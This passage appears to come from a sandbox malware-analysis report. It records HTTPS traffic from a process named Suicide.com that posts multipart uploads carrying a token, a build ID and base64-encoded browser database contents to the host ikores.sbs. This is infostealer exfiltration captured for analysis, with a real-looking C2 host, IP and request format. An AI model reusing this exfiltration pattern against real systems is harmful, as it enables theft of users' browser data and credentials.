41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49879	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:28 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----58Y5FK6F37QIE37Q1NGL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:28 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 38 59 35 46 4b 36 46 33 37 51 49 45 33 37 51 31 4e 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 35 38 59 35 46 4b 36 46 33 37 51 49 45 33 37 51 31 4e 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 35 38 59 35 46 4b 36 46 33 37 51 49 45 33 37 51 31 4e 47 4c 0d 0a 43 6f 6e 74 Data Ascii: ------58Y5FK6F37QIE37Q1NGLContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------58Y5FK6F37QIE37Q1NGLContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------58Y5FK6F37QIE37Q1NGLCont
2024-12-06 08:42:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49890	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:32 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LX4EUSR1N7QQIMGVASR9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 169765 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 58 34 45 55 53 52 31 4e 37 51 51 49 4d 47 56 41 53 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4c 58 34 45 55 53 52 31 4e 37 51 51 49 4d 47 56 41 53 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4c 58 34 45 55 53 52 31 4e 37 51 51 49 4d 47 56 41 53 52 39 0d 0a 43 6f 6e 74 Data Ascii: ------LX4EUSR1N7QQIMGVASR9Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------LX4EUSR1N7QQIMGVASR9Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------LX4EUSR1N7QQIMGVASR9Cont
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:32 UTC	16355	OUT	Data Raw: 55 67 51 6b 39 50 54 45 56 42 54 69 42 45 52 55 5a 42 56 55 78 55 49 45 5a 42 54 46 4e 46 49 45 35 50 56 43 42 4f 56 55 78 4d 4b 56 41 45 42 68 63 72 4b 77 46 5a 64 47 46 69 62 47 56 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 56 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 46 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 4e 78 62 47 6c 30 5a 56 39 7a 5a 58 46 31 5a 57 35 6a 5a 53 68 75 59 57 31 6c 4c 48 4e 6c 63 53 6d 42 66 77 4d 48 46 78 55 56 41 59 4e 68 64 47 46 69 62 47 56 31 63 6d 78 7a 64 58 4a 73 63 77 52 44 55 6b 56 42 56 45 55 67 56 45 46 43 54 45 55 67 64 58 4a 73 63 79 68 70 5a 43 42 4a 54 6c 52 46 52 30 56 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 49 45 46 56 56 45 39 4a 54 6b 4e 53 52 55 31 46 54 Data Ascii: UgQk9PTEVBTiBERUZBVUxUIEZBTFNFIE5PVCBOVUxMKVAEBhcrKwFZdGFibGVzcWxpdGVfc2VxdWVuY2VzcWxpdGVfc2VxdWVuY2UFQ1JFQVRFIFRBQkxFIHNxbGl0ZV9zZXF1ZW5jZShuYW1lLHNlcSmBfwMHFxUVAYNhdGFibGV1cmxzdXJscwRDUkVBVEUgVEFCTEUgdXJscyhpZCBJTlRFR0VSIFBSSU1BUlkgS0VZIEFVVE9JTkNSRU1FT
2024-12-06 08:42:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49891	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:33 UTC	319	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LX4EUSR1N7QQIMGVASR9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 66001 Connection: Keep-Alive Cache-Control: no-cache
